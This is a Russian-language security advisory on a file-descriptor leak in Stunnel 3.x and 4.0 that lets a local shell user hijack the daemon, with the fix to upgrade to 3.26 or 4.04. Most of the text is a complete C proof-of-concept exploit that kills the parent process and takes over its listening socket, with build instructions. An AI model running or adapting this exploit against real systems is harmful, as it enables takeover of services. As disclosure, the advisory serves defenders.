Дата публикации: | 08.09.2003 |
Дата изменения: | 22.05.2008 |
Всего просмотров: | 2022 |
Опасность: | Низкая |
Наличие исправления: | Да |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | Локальная |
Воздействие: | Повышение привилегий |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: |
Stunnel 3.x
Stunnel 4.x |
Уязвимые версии: Stunnel 3.x, 4.0 Описание: Уязвимость обнаружена в Stunnel. Утечка файловых дескрипторов позволяет удаленному авторизованному пользователю внедрится в процесс Stunnel. Несколько версий Stunnel содержат утечку файловых дескрипторов. Удаленный авторизованный пользователь (с shell доступом на целевой системе) может послать сигнал процессу stunnel, и затем выбрать потерянный описатель файла и перезаписать его, чтобы получить контроль над процессом stunnel. Пример/Эксплоит: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <errno.h> #include <sys/select.h> #include <netinet/in.h> #include <openssl/ssl.h> /* * The basic scheme goes like this: * 1) Get rid of the parent * 2) init the openssl library * 3) start handling requests */ /* You may need to adjust these next 3 items */ #define LISTEN_DESCRIPTOR 6 #define CERTF "/opt/stunnel-sploit/foo-cert.pem" #define KEYF "/opt/stunnel-sploit/foo-cert.pem" static SSL_CTX *ctx; static SSL *ssl; static X509 *client_cert; static SSL_METHOD *meth; static void server_loop(int descr); static void ssl_init(void); int main(int argc, char *argv[]) { int pid = getppid(); /* Need to fork so stunnel doesn't kill us */ if (fork() == 0) { /* Become session leader */ setsid(); /* Goodbye - thanks for the descriptor */ kill(pid, SIGUSR2); close(0); close(1); close(2); ssl_init(); server_loop(LISTEN_DESCRIPTOR); } return 0; } static void server_loop(int descr) { struct timeval tv; fd_set read_mask ; FD_SET(descr, &read_mask); for (;;) { struct sockaddr_in remote; socklen_t len = sizeof(remote); int fd; if (select(descr+1, &read_mask, NULL, NULL, 0 ) == -1) continue; fd = accept(descr, &remote, &len); if (fd >=0) { char obuf[4096]; if ((ssl = SSL_new (ctx)) != NULL) { SSL_set_fd (ssl, fd); SSL_set_accept_state(ssl); if ((SSL_accept (ssl)) == -1) exit(1); strcpy(obuf, "HTTP/1.0 200 OK\n"); strcat(obuf, "Content-Length: 40\n"); strcat(obuf, "Content-Type: text/html\n\n"); strcat(obuf, "<html><body>You're owned!</body></html>"); SSL_write (ssl, obuf, strlen(obuf)); SSL_set_shutdown(ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN); SSL_free (ssl); ERR_remove_state(0); } close(fd); } } SSL_CTX_free (ctx); /* Never gets called */ } static void ssl_init(void) { SSL_load_error_strings(); SSLeay_add_ssl_algorithms(); meth = SSLv23_server_method(); ctx = SSL_CTX_new (meth); if (!ctx) exit(1); if (SSL_CTX_use_certificate_file(ctx, CERTF, SSL_FILETYPE_PEM) <= 0) exit(1); if (SSL_CTX_use_PrivateKey_file(ctx, KEYF, SSL_FILETYPE_PEM) <= 0) exit(1); if (!SSL_CTX_check_private_key(ctx)) exit(1); } To compile: $(CC) $(CFLAGS) -o $@ leak-sploit.c -lssl URL производителя: http://www.stunnel.org/ Решение: Установите обновленную версию программы (3.26 и 4.04): http://www.stunnel.org/download/ |
|
Ссылки: | Stunnel-3.x Daemon Hijacking |